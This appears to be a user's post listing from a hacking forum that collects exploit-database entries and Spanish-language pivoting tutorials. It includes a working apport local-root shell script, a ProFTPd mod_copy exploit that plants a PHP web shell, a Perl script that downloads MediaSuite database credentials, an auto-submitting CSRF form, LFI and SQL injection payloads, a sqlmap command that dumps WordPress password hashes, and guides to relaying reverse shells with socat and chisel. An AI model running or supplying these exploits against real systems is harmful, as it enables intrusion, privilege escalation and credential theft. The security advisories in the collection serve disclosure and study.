
Everything posted by HireHackking
-
Apport 2.14.1 (Ubuntu 14.04.2) - Local Privilege Escalation
#!/bin/sh # # CVE-2015-1318 # # Reference: https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1438758 # # Example: # # % uname -a # Linux maggie 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:15 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux # # % lsb_release -a # No LSB modules are available. # Distributor ID: Ubuntu # Description: Ubuntu 14.04.2 LTS # Release: 14.04 # Codename: trusty # # % dpkg -l | grep '^ii apport ' | awk -F ' ' '{ print $2 " " $3 }' # apport 2.14.1-0ubuntu3.8 # # % id # uid=1000(ricardo) gid=1000(ricardo) groups=1000(ricardo) (...) # # % ./apport.sh # pwned-4.3# id # uid=1000(ricardo) gid=1000(ricardo) euid=0(root) groups=0(root) (...) # pwned-4.3# exit TEMPDIR=$(mktemp -d) cd ${TEMPDIR} cp /bin/busybox . mkdir -p dev mnt usr/share/apport ( cat << EOF #!/busybox sh ( cp /mnt/1/root/bin/bash /mnt/1/root/tmp/pwned chmod 5755 /mnt/1/root/tmp/pwned ) EOF ) > usr/share/apport/apport chmod +x usr/share/apport/apport ( cat << EOF mount -o bind . . cd . mount --rbind /proc mnt touch dev/null pivot_root . . ./busybox sleep 500 & SLEEP=\$! ./busybox sleep 1 ./busybox kill -11 \$SLEEP ./busybox sleep 5 EOF ) | lxc-usernsexec -m u:0:$(id -u):1 -m g:0:$(id -g):1 2>&1 >/dev/null -- \ lxc-unshare -s "MOUNT|PID|NETWORK|UTSNAME|IPC" -- /bin/sh 2>&1 >/dev/null /tmp/pwned -p rm -Rf ${TEMPDIR}
-
Oracle Hyperion Smart View for Office 11.1.2.3.000 - Crash (PoC)
# Exploit Title: Buffer Overflow in Oracle� Hyperion Smart View for Office [DOS] # Exploit Author: sajith # Vendor Homepage: http://oracle.com # vulnerable Version: Fusion Edition 11.1.2.3.000 Build 157 #Vulnerable Link: http://www.oracle.com/technetwork/middleware/smart-view-for-office/downloads/index.html # Tested in: Microsoft Windows 7 Enterprise 6.1.7601 Service Pack 1 [x64],en-us #plugin tested with Microsoft Excel 2010 #CVE: CVE-2015-2572 Responsible Disclosure: Reported to Oracle on Jul 7, 2014 patch released on April 14, 2015 How to reproduce the bug? 1)install "Smart view" and open Microsoft excel and click on "smart view" tab 2)click on "Options" and then click on "Advanced" tab 3) In General menu in "shared Connections URL" enter large value say 50000 "A"'s and press ok, the application crashes, the output of the crash analyzed in debugger is shown below Note:Plugin once installed automatically integrates with Microsoft office products like,excel,Word,PowerPoint,Microsoft office.so the vulnerability can be exploited via any of these products. ==================python script to create 50000 "A"'s============ try: print "POC by sajith shetty" f = open("text.txt","w") junk = "A" * 50000 f.write(junk) print "done" except Exception, e: print "error- " + str(e) Debugger o/p: eax=00410061 ebx=0041005d ecx=00410041 edx=00000000 esi=00410061 edi=0041005d eip=779622d2 esp=0040b7f8 ebp=0040b80c iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 ntdll!RtlEnterCriticalSection+0x12: 779622d2 f00fba3000 lock btr dword ptr [eax],0 ds:002b:00410061=???????? caused by MODULE_NAME: HsAddin start end module name 0fb50000 111a0000 HsAddin (export symbols) C:\Oracle\SmartView\bin\HsAddin.dll Loaded symbol image file: C:\Oracle\SmartView\bin\HsAddin.dll Image path: C:\Oracle\SmartView\bin\HsAddin.dll Image name: HsAddin.dll Timestamp: Wed Mar 27 04:27:50 2013 (515227EE) CheckSum: 0163F951 ImageSize: 01650000 File version: 11.1.2.3085 Product version: 11.1.2.3085 File flags: 0 (Mask 3F) File OS: 4 Unknown Win32 File type: 2.0 Dll File date: 00000000.00000000 Translations: 0409.04b0 CompanyName: Oracle Corporation ProductName: Oracle� Hyperion Smart View for Office, Fusion Edition InternalName: CommonAddin ProductVersion: 11.1.2.3.000.157 FileVersion: 11.1.2.3085 FileDescription: Oracle� Hyperion Smart View for Office, Fusion Edition LegalCopyright: Copyright 2004, 2013 Oracle Corporation. All rights reserved LegalTrademarks: Oracle� is registered.
-
11in1 CMS 1.2.1 - 'index.php?class' Traversal Local File Inclusion
source: https://www.securityfocus.com/bid/52025/info 11in1 is prone to a cross-site request-forgery and a local file include vulnerability. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and open or run arbitrary files in the context of the affected application. 11in1 1.2.1 is vulnerable; other versions may also be affected. http://www.example.com/index.php?class=../../../tmp/file%00
-
11in1 CMS 1.2.1 - '/admin/index.php?class' Traversal Local File Inclusion
source: https://www.securityfocus.com/bid/52025/info 11in1 is prone to a cross-site request-forgery and a local file include vulnerability. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and open or run arbitrary files in the context of the affected application. 11in1 1.2.1 is vulnerable; other versions may also be affected. http://www.example.com/admin/index.php?class=../../../tmp/file%00
-
11in1 CMS 1.2.1 - Cross-Site Request Forgery (Admin Password)
source: https://www.securityfocus.com/bid/52025/info 11in1 is prone to a cross-site request-forgery and a local file include vulnerability. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and open or run arbitrary files in the context of the affected application. 11in1 1.2.1 is vulnerable; other versions may also be affected. <form action="http://www.example.com/admin/index.php?class=do&action=addTopic" method="post"> <input type="hidden" name="name" value="New Topic Name here"> <input type="hidden" name="sec" value="3"> <input type="hidden" name="content" value="New Topic Content here"> <input type="submit" id="btn"> </form> <script> document.getElementById('btn').click(); </script>
-
WordPress Plugin Tune Library 1.5.4 - SQL Injection
======================================================================= title: SQL Injection product: WordPress Tune Library Plugin vulnerable version: 1.5.4 (and probably below) fixed version: 1.5.5 CVE number: CVE-2015-3314 impact: CVSS Base Score 6.8 (AV:N/AC:M/Au:N/C:P/I:P/A:P) homepage: https://wordpress.org/plugins/tune-library/ found: 2015-01-09 by: Hannes Trunde mail: hannes.trunde@gmail.com twitter: @hannestrunde ======================================================================= Plugin description: ------------------- "This plugin is used to import an XML iTunes Music Library file into your WordPress database. Once imported, you can display a complete listing of your music collection on a page of your WordPress site." Source: https://wordpress.org/plugins/tune-library/ Recommendation: --------------- The author has provided a fixed plugin version which should be installed immediately. Vulnerability overview/description: ----------------------------------- Because of insufficient input validation, a sql injection attack can be performed when sorting artists by letter. However, special conditions must be met in order to exploit this vulnerability: 1) The wordpress security feature wp_magic_quotes(), which is enabled by default, has to be disabled. 2) The plugin specific option "Filter artists by letter and show alphabetical navigation" has to be enabled. Proof of concept: ----------------- The following HTTP request to the Tune Library page returns version, current user and db name: =============================================================================== http://www.site.com/?page_id=2&artistletter=G' UNION ALL SELECT CONCAT_WS(CHAR(59),version(),current_user(),database()),2--%20 =============================================================================== Contact timeline: ------------------------ 2015-04-08: Contacting author via mail. 2015-04-09: Author replies and announces a fix within a week. 2015-04-12: Mail from author, stating that plugin has been updated. 2015-04-14: Requesting CVE via post to the open source software security mailing list: http://openwall.com/lists/oss-security/2015/04/14/5 2015-04-20: Release of security advisory. Solution: --------- Update to the most recent plugin version. Workaround: ----------- Make sure that wp_magic_quotes() is enabled and/or disable "Filter artists by letter..." option.
-
Pivoting con Socat
Socat es una herramienta que nos permite crear comunicaciones bidireccionales. Se le conoce como el netcat con esteroides, ya que es una herramienta tan completa que es casi imposible verla entera, por lo que vamos a centrarnos en los puntos más útiles para pivoting. Índice: IntroducciónRedirecciones Introducción Socat es una herramienta para sistemas Linux, aunque también tiene ciertos binarios para Windows, pero no son muy comunes, de todas formas para descargar ambos binarios los links son los siguientes: Linux (32 y 64 Bits)Windows (64 Bits) La estructura de socat es muy sencilla, sin embargo la sintaxis puede parecer compleja al principio: socat [opciones] <dirección origen> <dirección destino> La sintaxis para las direcciones es: <protocolo>:<ip>:<puerto> El «laboratorio» en el que vamos a ver su funcionamiento es el siguiente: 4 EquiposKali –> Mi equipo de atacanteIP: 192.168.10.10Windows 7 de 64 BitsIP: 192.168.10.40 y 192.168.20.40 –> 2 Interfaces de RedDebian 1IP: 192.168.20.20 y 192.168.30.10 –> 2 Interfaces de RedDebian 2IP: 192.168.30.20 Redirecciones Para practicar y ver como hacer redirecciones vamos a intentar enviarnos una Reverse Shell desde el Debian 2 (192.168.30.20) y Kali (192.168.10.10): Primero nos ponemos en escucha desde nuestro kali, para tenerlo desde un principio listo: Siguiendo el diagrama, la máquina con la que Kali tiene comunicación es el Windows 7, por lo que preparamos socat en esta máquina: socat tcp-l:443,fork,reuseaddr tcp:192.168.10.10.443 Vamos a explicar el comando: tcp-l:443 –> TCP-L es la abreviatura de TCP-LISTEN, escribiendo TCP-L:<puerto> nos ponemos en escucha desde ese puerto.fork –> Indicamos que socat pueda aceptar más de una conexión.reuseaddr –> permite reutilizar el puerto después de la finalización del programa fork y reuseaddr se suelen usar siempre que nos pongamos en escucha con socat. tcp:192.168.10.10:443 –> recordando que socat maneja una estructura de <origen> <destino>, en este caso estamos indicando que el destino es el puerto 443 de la dirección 192.168.10.10. Conociendo los argumentos del comando usado a nivel conceptual básicamente estamos diciendo que todo lo que reciba el equipo Windows por el puerto 443 lo envíe al puerto 443 del Kali, que es donde estamos en escucha. Con esto listo, vamos a la máquina con la que Windows tiene comunicación (además del Kali), allí, también vamos a ejecutar socat usando el mismo concepto: El comando al fin y al cabo es el mismo, todo lo que reciba el Debian por el puerto 443, lo mandaré al puerto 443 del equipo Windows. Donde el equipo Windows todo lo que reciba lo mandará al puerto 443 del Kali. De esta forma, y con todo esta estructura ya montada, si desde el Debian 2 nos enviamos una Shell al puerto 443 del Debian 1, obtendremos la Reverse Shell en el kali: Si nos damos cuenta, obtenemos la conexión desde la IP del Windows, todo gracias a las redirecciones. Además, la Shell es totalmente funcional: Esto es un ejemplo de redirecciones para que nos llegue una Reverse Shell, sin embargo, también podemos usar socat para por ejemplo, redirecciones internas. Es decir, imaginémonos la situación donde yo tengo un servidor web corriendo en mi kali, pero solo accesible de forma interna, podría tunelizarlo a otro puerto usando socat: Desde el Windows el Servidor Web de mi Kali no es accesible: Pero dentro de nuestro kali podemos hacer una redirección: De esta forma, estamos abriendo el puerto 8080 poniéndonos en escucha, y todo lo que recibamos desde este puerto, lo redirigimos a nuestro puerto 80 local. Con esto, si intentamos desde el Windows acceder al 8080: Vemos que podemos acceder al servidor 80, el cual a pesar de solo estar abierto de forma interna, podemos acceder a él. Hasta ahora la dirección IP no ha cambiado, siempre ha sido 127.0.0.1 cuando hemos apuntado a algún sitio, sin embargo, socat nos permite colocar cualquier IP. Ejemplo: De esta forma le estamos diciendo que además de ponernos en escucha en el puerto 777, todo lo que se reciba a este puerto, se mande al puerto 80 del Kali (ahora está accesible), donde está el servidor web: Y vemos que accedemos sin problemas desde el puerto 777 local. Y hasta aquí las funcionalidades de socat que nos puede ser muy útil para pivoting. Socat es una gran y compleja herramienta, aquí solo hemos visto la parte enfocada a redireccionamiento de conexiones. Veremos más cositas en otros posts. Y conforme aprenda más sobre Pivoting con Socat, también se irá agregando.
-
¿Por qué se pueden ejecutar comandos a través de SMB?
En muchas ocasiones, ya sea por explotación, persistencia o ambas. Se usan programas como psexec, smbexec, etc, para ejecutar comandos en una máquina donde poseemos credenciales de una cuenta privilegiada. En todas estas ocasiones dependemos de dos cosas: Como ya se ha comentado, que la cuenta tenga privilegios en la máquinaQue esté el puerto 445 abierto, es decir, SMB Si se cumplen estos dos requisitos, se hace lo de siempre: ¡Y estamos dentro! Pero claro, siendo SMB un protocolo para compartir archivos, impresoras, etc en una red, normalmente, de dispositivos windows, ¿como se consigue ejecutar comandos? Como tal, para hacernos una idea podemos fijarnos en el output que nos deja psexec: Según esto, los pasos son los siguientes: Solicitamos los recursos compartidosEncontramos un recurso compartido escribible, ADMIN$ en este casoSubimos el archivo ‘wJvVBmZT.exe’Abrimos el SVCManager (Administrador de Control de Servicios de Windows)Creamos el servicio ‘rarj’Iniciamos el servicio ‘rarj’ Tomando esto como referencia, vamos a verlo en detalle. Primeramente, para establecer la conexión SMB se lleva a cabo el siguiente procedimiento: Una vez establecida la conexión, se hace la petición para listar los recursos compartidos. Se hace con la intención de encontrar algun recurso que sea escribible (si no hay ninguno con capacidad de escritura no podremos hacer nada). Cuando ya tenemos la conexión establecida y un recurso donde podamos escribir. La idea es subir el archivo que originalmente se llama PSEXECVC.exe, obviamente si se sube con este nombre es un poco sospechoso, por lo que se le renombra a un nombre totalmente aleatorio, como es en este caso, ‘wJvVBmZT.exe‘. Este archivo se sube al recurso compartido ADMIN$ (un recurso administrativo en este caso), el cual corresponde con la ruta C:\Windows. Este paso ya requiere de una cuenta privilegiada, por lo que ya podemos ir entendiendo el porqué se requiere de una cuenta de este tipo para ejecutar comandos (no es la única acción que requiere de estos privilegios) Una vez subido, hay que editar los registros en el servidor remoto, para que el servicio sea instalado. Para poder hacer esto y los siguientes pasos, hay que dejar claro un par de conceptos, MSRPC y Named Pipes (puede que éste último te suene de su uso en la explotación del Eternal Blue). MSRPC (Microsoft Remote Procedure Call – Versión modificada de su antecesor, DCE/RPC) es un protocolo usado para crear un modelo cliente/servidor, se implantó en Windows NT (una de las primeras versiones de Windows), con el tiempo, se extendió llegando a que dominios enteros de Windows Server se basasen en este protocolo. MSRPC es un marco de comunicación entre procesos, y permite provocar que se ejecute un procedimiento/subrutina en otro equipo de una red. Desde el punto de vista del equipo de la red, se ejecuta como si se ejecutara en local. Para cualquier solicitud de MSRPC se establece una comunicación previa por SMB: Por lo que a MSRPC se le añade la capa de seguridad propia de SMB. Dejando claro esto, tenemos que quedarnos con que MSRPC es un protocolo que sirve para ejecutar procedimientos/subrutinas en otros equipos. Se ejecuta de forma distinta dependiendo de la situación: Como vemos, por SMB, para que MSRPC pueda llevar a cabo sus acciones, hace uso de los Named Pipes, y es aquí donde lo vamos a introducir ya que es el segundo concepto que nos interesa. Los named pipes (tuberias con nombre) son una conexión lógica, similar a una conexión TCP, entre un cliente y un servidor que participan ya sea en una conexión CIFS (Common Internet File System) o SMB (version 1, 2 o 3). El nombre del pipe sirve como punto final al igual que lo sirve un puerto en una conexión TCP, por ello, se le puede denominar named pipe end point. Muchos protocolos se basan en los named pipes, ya sea directa o indirectamente a través de MSRPCE (MSRPC Extensions). La ventaja de usarlos, es que aislan totalmente el protocolo usado en la capa superior, del transporte elegido (imagen superior), conllevando también el uso de los protocolos de autenticación (añadiendo la capa de seguridad de estos). Los clientes SMB acceden a los Named Pipe End Point utilizando el recurso compartido «IPC$». Este recurso solo permite operaciones de named pipes y peticiones del servicio de archivos distribuido (Distributed File System – DFS) de Microsoft. Con todo esto, volviendo al tema, se crea las entradas de registros correspondientes en el servidor para la creación e instalación del servicio que ejecute el archivo exe subido. Si nos fijamos en la imagen de psexec: Podemos ver como a la hora de crear el servicio, también se crea con un nombre aleatorio, al igual que el archivo exe. Esto de cara a no llamar tanto la atención si el usuario listase los servicios de la máquina. Posteriormente, se inicia el servicio. El servicio iniciado puede usar cualquier protocolo de red para recibir y ejecutar comandos. Cuando finaliza, el servicio puede ser desinstalado (removiendo las entradas de registros y eliminando el archivo exe) Todas estas acciones de crear servicio, iniciarlo, eliminarlo, se consiguen gracias al uso de MSRPC, el cual hace también uso de los Named Pipes. Además, estas acciones requieren de acceso privilegiado, por ello el famoso Pwn3d! de CrackMapExec cuando se hace uso de una cuenta privilegiada, lo que hace CME es confirmar que todo este proceso se puede llevar a cabo gracias a los privilegios de la cuenta. Entonces, en resumen: Se copia el archivo exe malicioso al servidor SMBSe crean los registros correspondientes para la creación e instalación del servicio que ejecute el archivo exeSe inicia el servicio, ejecutando así, el exeCuando acabamos, el servicio es desinstalado, removiendo sus respectivas entradas y el propio archivo exe MSRPC y Named Pipes se ven implicados en los puntos 2, 3 y 4. Y es a través de todo este procedimiento que a partir de lo que a primera vista SMB parece, un protocolo de compartir archivos, dispositivos etc. Podemos ejecutar comandos de sistema.
-
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution
# Title: ProFTPd 1.3.5 Remote Command Execution # Date : 20/04/2015 # Author: R-73eN # Software: ProFTPd 1.3.5 with mod_copy # Tested : Kali Linux 1.06 # CVE : 2015-3306 # Greetz to Vadim Melihow for all the hard work . import socket import sys import requests #Banner banner = "" banner += " ___ __ ____ _ _ \n" banner +=" |_ _|_ __ / _| ___ / ___| ___ _ __ / \ | | \n" banner +=" | || '_ \| |_ / _ \| | _ / _ \ '_ \ / _ \ | | \n" banner +=" | || | | | _| (_) | |_| | __/ | | | / ___ \| |___ \n" banner +=" |___|_| |_|_| \___/ \____|\___|_| |_| /_/ \_\_____|\n\n" print banner s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if(len(sys.argv) < 4): print '\n Usage : exploit.py server directory cmd' else: server = sys.argv[1] #Vulnerable Server directory = sys.argv[2] # Path accessible from web ..... cmd = sys.argv[3] #PHP payload to be executed evil = '<?php system("' + cmd + '") ?>' s.connect((server, 21)) s.recv(1024) print '[ + ] Connected to server [ + ] \n' s.send('site cpfr /etc/passwd') s.recv(1024) s.send('site cpto ' + evil) s.recv(1024) s.send('site cpfr /proc/self/fd/3') s.recv(1024) s.send('site cpto ' + directory + 'infogen.php') s.recv(1024) s.close() print '[ + ] Payload sended [ + ]\n' print '[ + ] Executing Payload [ + ]\n' r = requests.get('http://' + server + '/infogen.php') #Executing PHP payload through HTTP if (r.status_code == 200): print '[ * ] Payload Executed Succesfully [ * ]' else: print ' [ - ] Error : ' + str(r.status_code) + ' [ - ]' print '\n http://infogen.al/'
-
Pivoting con Chisel
Chisel es una herramienta super útil para usar tanto en máquinas Windows como Linux. Nos permite de forma muy cómoda prácticamente obtener las mismas funciones que SSH (en el aspecto de Port Forwarding). Índice IntroducciónLocal Port ForwardingRemote Port ForwardingDynamic Port Forwarding Introducción Se puede descargar desde su Repositorio Oficial. Ahí podemos encontrar los diferentes paquetes para los distintos sistemas, tanto Windows como Linux: En este caso el «laboratorio» es el siguiente: 3 EquiposKali –> Mi equipo de atacanteIP: 192.168.10.10Windows 7 de 32 BitsIP: 192.168.10.30 y 192.168.20.30 –> 2 Interfaces de RedDebian –> Servidor Web y SSH – Puerto 22 y 80 activadosIP: 192.168.20.20 y 192.168.30.10 –> 2 Interfaces de Red (aunque la segunda para este post es irrelevante) Como Chisel también es una herramienta que sirve en Windows, vamos a mezclar ambos sistemas, ya que es totalmente compatible. Primero de todo descargamos las versiones correspondientes de chisel tanto para la máquina Kali como para la máquina Windows, ya que Chisel funciona mediante una arquitectura cliente-servidor. Una vez descargado nos aseguramos de que funcione: Una vez tenemos todo listo, vamos a ver las posibilidades que nos ofrece Chisel. Realmente, con esta herramienta podemos simular y hacer todos los forwardings que SSH puede, es decir: Local Port ForwardingRemote Port ForwardingDynamic Port Forwarding Y todo sin la necesidad de SSH, lo que nos permite prácticamente poder usar Chisel en casi cualquier situación de forma que no dependamos de este protocolo. Además, de forma conceptual, todos los forwardings funcionan de la misma forma que en SSH. Local Port Forwarding Sabiendo que la arquitectura es cliente-servidor, y que estamos ante el Local Port Forwarding, tenemos que establecer el servidor, en este caso, en la máquina Windows. Para ello, la sintaxis es bastante sencilla: chisel server -p <puerto> Tenemos que establecer un puerto el cual será donde chisel funcione y el cliente posteriormente se conecte, por lo que conociendo esto, yo voy a establecer el servidor en el puerto 1234: Con esto establecido, ahora solo tenemos que ir a nuestro Kali para que se conecte como cliente, la sintaxis en este caso es un poquito mas compleja ya que le tenemos que especificar a que IP y puerto queremos llegar: chisel client <dirección servidor chisel>:<puerto servidor chisel> <puerto local a abrir>:<dirección a donde apuntar>:<puerto a apuntar de la direccion donde se apunta> En este caso: Como vemos, chisel nos indica que nos hemos conseguido conectar, si no fuese ésto, se comportaría de la siguiente forma: Pero en este caso, nos conectamos sin problemas. Con esto, ya solo tenemos que ir al puerto local que hemos abierto, en este caso el 80, el que supuestamente está apuntando al puerto 80 de la 192.168.20.20 (el servidor web vaya): Como vemos, llegamos sin problemas. Chisel también permite tunelizar varios puertos al mismo tiempo, siendo la sintaxis de esta forma: A = chisel client <dirección servidor chisel>:<puerto servidor chisel> B = <puerto local a abrir>:<dirección a donde apuntar>:<puerto a apuntar de la direccion donde se apunta> La sintaxis para tunelizar varios puertos seria entonces la siguiente: A + B + B + B + B… etc… Ejemplo: Además del puerto 80, estamos tunelizando el puerto 22 (SSH), por lo que: Vemos que nos conectamos a la máquina que hemos especificado. Remote Port Forwarding Al contrario que en el Local Port Forwarding, en el Remote Port Forwarding, el servidor se coloca en el Kali, mientras que el cliente sería el Windows. La sintaxis tanto para el cliente como para el servidor tiene algunas variaciones, en este caso, los comandos serían: Servidor –> Kali chisel server -p <puerto> --reverse Cliente –> Windows chisel client <dirección servidor chisel>:<puerto servidor chisel> R:<puerto a abrir en el servidor de chisel>:<dirección a donde apuntar>:<puerto a apuntar de la direccion donde se apunta> Sabiendo esto, establecemos el servidor en nuestro kali: Con esto, nos conectamos desde el Windows a nuestra máquina Kali: Si miramos ahora nuestro Kali podemos ver como se ha conectado correctamente: De esta forma, analizando y trayendo el comando ejecutado en el cliente: chisel client 192.168.10.10:1234 R:80:192.168.20.20:80 Deberíamos en nuestro kali desde nuestro puerto 80, poder acceder al puerto 80 de la 192.168.20.20 (el Servidor Web): Como vemos llegamos sin problemas. Al igual que en el Local Port Forwarding, podemos tunelizar varios puertos con la misma conexión de Chisel, se haría de la misma forma: A = chisel client <dirección servidor chisel>:<puerto servidor chisel> B = R:<puerto a abrir en el servidor de chisel>:<dirección a donde apuntar>:<puerto a apuntar de la direccion donde se apunta> La sintaxis para tunelizar varios puertos seria entonces la siguiente: A + B + B + B + B… etc… Ejemplo: De esta forma, podemos acceder no solo puerto 80 de la máquina, sino también al puerto 22: Vemos que funciona perfectamente. Dynamic Port Forwarding Con el Dynamic Port Forwarding podemos tunelizar todos los puertos, creando un proxy SOCKS. El funcionamiento y uso es exactamente el mismo que el proxy de SSH. Chisel nos permite tanto crear un Forward Proxy como un Reverse Proxy. A nivel de uso, se suele usar mas el Reverse Proxy, por la misma razón que las Reverse Shells son mas famosas que las Bind Shells. Hablando de forma genérica, un Reverse Proxy o una Reverse Shell te dará menos problemas en cuanto a firewalls que las otras dos opciones (Forward y Bind). En cualquier caso, sea el que sea el proxy que escojas, ambos harán su cometido. Para cada uno, la sintaxis es un poco distinta: Forward ProxyServidor –> Windowschisel server -p <puerto> --socks5Cliente –> Kalichisel client <dirección servidor chisel>:<puerto servidor chisel> <puerto que actuará como proxy>:socks Reverse ProxyServidor –> Kalichisel server -p <puerto> --reverseCliente –> Windowschisel client <dirección servidor chisel>:<puerto servidor chisel> R:<puerto que actuará como proxy>:socks Vamos a ver ambos de forma práctica, pero antes, configuramos el firefox para que tire contra el puerto 1080, que será el puerto donde en cada caso de cada proxy funcionará éste (para que no tengamos que cambiarlo). Con esto listo, vamos a empezar. Forward Proxy De esta forma, si intentamos acceder a la IP 192.168.20.20 en Firefox: Vemos que accedemos. Reverse Proxy: De esta forma, si intentamos de nuevo acceder al Servidor Web: Seguimos llegando sin problemas. En este caso, solo estamos usando el proxy para firefox, pero se puede usar para otros programas o comandos. Para ello, podemos hacer uso de Proxychains, el cual aprovechará este proxy SOCKS creado para tramitar todo el tráfico. Esto se puede ver con mayor detalle en el post de Pivoting con Proxychains.
-
MediaSuite CMS - Artibary File Disclosure
.__ _____ _______ | |__ / | |___ __\ _ \_______ ____ | | \ / | |\ \/ / /_\ \_ __ \_/ __ \ | \/ ^ /> <\ \_/ \ | \/\ ___/ |___| /\____ |/__/\_ \\_____ /__| \___ > \/ |__| \/ \/ \/ _____________________________ / _____/\_ _____/\_ ___ \ \_____ \ | __)_ / \ \/ http://twitter.com/h4SEC / \ | \\ \____ Proof Video: https://www.youtube.com/watch?v=7yxbfD1YK8Y /_______ //_______ / \______ / ~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [+] Author : KnocKout [~] E-Mail : knockout@e-mail.com.tr [~] Twitter: http://twitter.com/h4SEC [~] HomePage : http://h4x0resec.blogspot.com - http://cyber-warrior.org - http://www.fiXen.org [~] Greetz: ZoRLu, DaiMon, VolqaN, DaiMon, KedAns-Dz , Septemb0x, BARCOD3, b3mb4m, SysToxic, EthicalHacker and all TurkSec Group members. ~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |~Web App. : MediaSuite CMS - Artibary File Disclosure Exploit |~Price : N/A |~Version : All CMS |~Software: http://www.mediasuite.ca |~Vulnerability Style : File Disclosure |~Vulnerability Dir : / |~Google Dork : "MediaSuite.ca - Website Design, Media Marketing Suite - Barrie Ontario" |[~]Date : "20.04.2015" |[~]Exploit Tested on : >>>> www.mediasuite.ca ( Official Web ) <<<<< ---------------------------------------------------------- ---------------------Info;-------------------------------- ---------------------------------------------------------- can be easily found in any database password for this "site-settings.php" will be sufficient to read possible to read the file on the local database. incorrect coding and unconscious in it causing ""force-download.php"" file. that's laughter reason codes:) ################################################################################################## file in "force-download.php" .. .. .. $type = $_GET['type']; $file = $_GET['file']; if($type == "1"){ $filename = "../uploads/$file"; } .. .. .. } header("Pragma: public"); // required header("Expires: 0"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Cache-Control: private",false); // required for certain browsers header("Content-Type: $ctype"); // change, added quotes to allow spaces in filenames, by Rajkumar Singh header("Content-Disposition: attachment; filename=\"".basename($filename)."\";" ); header("Content-Transfer-Encoding: binary"); header("Content-Length: ".filesize($filename)); readfile("$filename"); exit(); .. ... ################################################################################################## ##############################Exploit.pl######################################################### ################################################################################################## use LWP::Simple; use LWP::UserAgent; system('cls'); system('title MediaSuite CMS - Artibary File Disclosure Exploit'); system('color 2'); if(@ARGV < 2) { print "[-]Su Sekilde Kocum. \n\n"; &help; exit(); } sub help() { print "[+] Usaqe : perl $0 Target /path/ \n"; print "[+] Usage : perl $0 localhost / \n"; } print "\n************************************************************************\n"; print "\* MediaSuite CMS - Artibary File Disclosure Exploit *\n"; print "\* Exploit coded by : KnocKout *\n"; print "\* Contact : twitter.com/h4SEC *\n"; print "\* -- *\n"; print "\*********************************************************************\n\n\n"; ($TargetIP, $path, $File,) = @ARGV; $File="includes/force-download.php?type=1&file=../includes/site-settings.php"; my $url = "http://" . $TargetIP . $path . $File; print "\n Biraz Bekle. \n\n"; my $useragent = LWP::UserAgent->new(); my $request = $useragent->get($url,":content_file" => "site-settings.php"); if ($request->is_success) { print "[+] Exploit Basarili, kodlayanin eline saglik \n\n"; print "[+] Exploit Basarili. !\n"; print "[+] Database bilgilerinin yer aldigi (site-settings.php) dosyasi indirildi. \n"; print "[+] h4 SEC \n"; print "[+] Special tnX : ZoRLu, _UnDeRTaKeR, DaiMon, VoLqaN, BARCOD3, Septemb0x, EthicalHacker \n"; exit(); } else { print "[!] Exploit $url Basarisiz !\n[!] ".$request->status_line."\n"; exit(); }
-
WordPress Plugin Community Events 1.3.5 - SQL Injection
======================================================================= title: SQL Injection product: WordPress Community Events Plugin vulnerable version: 1.3.5 (and probably below) fixed version: 1.4 CVE number: CVE-2015-3313 impact: CVSS Base Score 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P) homepage: https://wordpress.org/plugins/community-events/ found: 2015-01-07 by: Hannes Trunde mail: hannes.trunde@gmail.com twitter: @hannestrunde ======================================================================= Plugin description: ------------------- "The purpose of this plugin is to allow users to create a schedule of upcoming events and display events for the next 7 days in an AJAX-driven box or displaying a full list of upcoming events." Source: https://wordpress.org/plugins/community-events/ Recommendation: --------------- The author has provided a fixed plugin version which should be installed immediately. Vulnerability overview/description: ----------------------------------- Because of insufficient input validation, a blind SQL injection attack can be performed within the search function to obtain sensitive information from the database. To exploit this vulnerability, there has to be at least one planned event on the calendar. Proof of concept: ----------------- The following HTTP request to the Community Events full schedule returns the event(s) planned in the specified year: =============================================================================== http://www.site.com/?page_id=2&eventyear=2015 AND 1=1 )--&dateset=on&eventday=1 =============================================================================== The following HTTP request returns a blank page, thus confirming the blind SQL injection vulnerability: =============================================================================== http://www.site.com/?page_id=2&eventyear=2015 AND 1=0 )--&dateset=on&eventday=1 =============================================================================== Obtaining users and password hashes with sqlmap may look as follows (--string parameter has to contain (part of) the name of the event, enabling sqlmap to differentiate between true and false statements): ================================================================================ sqlmap -u "http://www.site.com/?page_id=2&eventyear=2015&dateset=on&eventday=1" -p "eventyear" --technique=B --dbms=mysql --suffix=")--" --string="Test" --sql-query="select user_login,user_pass from wp_users" ================================================================================ Contact timeline: ----------------- 2015-04-08: Contacting author via mail. 2015-04-09: Author replies and announces a fix within a week. 2015-04-12: Mail from author, stating that plugin has been updated. 2015-04-14: Posting information to the open source software security mailing list: http://openwall.com/lists/oss-security/2015/04/14/5 2015-04-18: Release of security advisory. Solution: --------- Update to the most recent plugin version. Workaround: ----------- See solution.
-
GoAutoDial CE 3.3-1406088000 - Authentication Bypass / Arbitrary File Upload / Command Injection
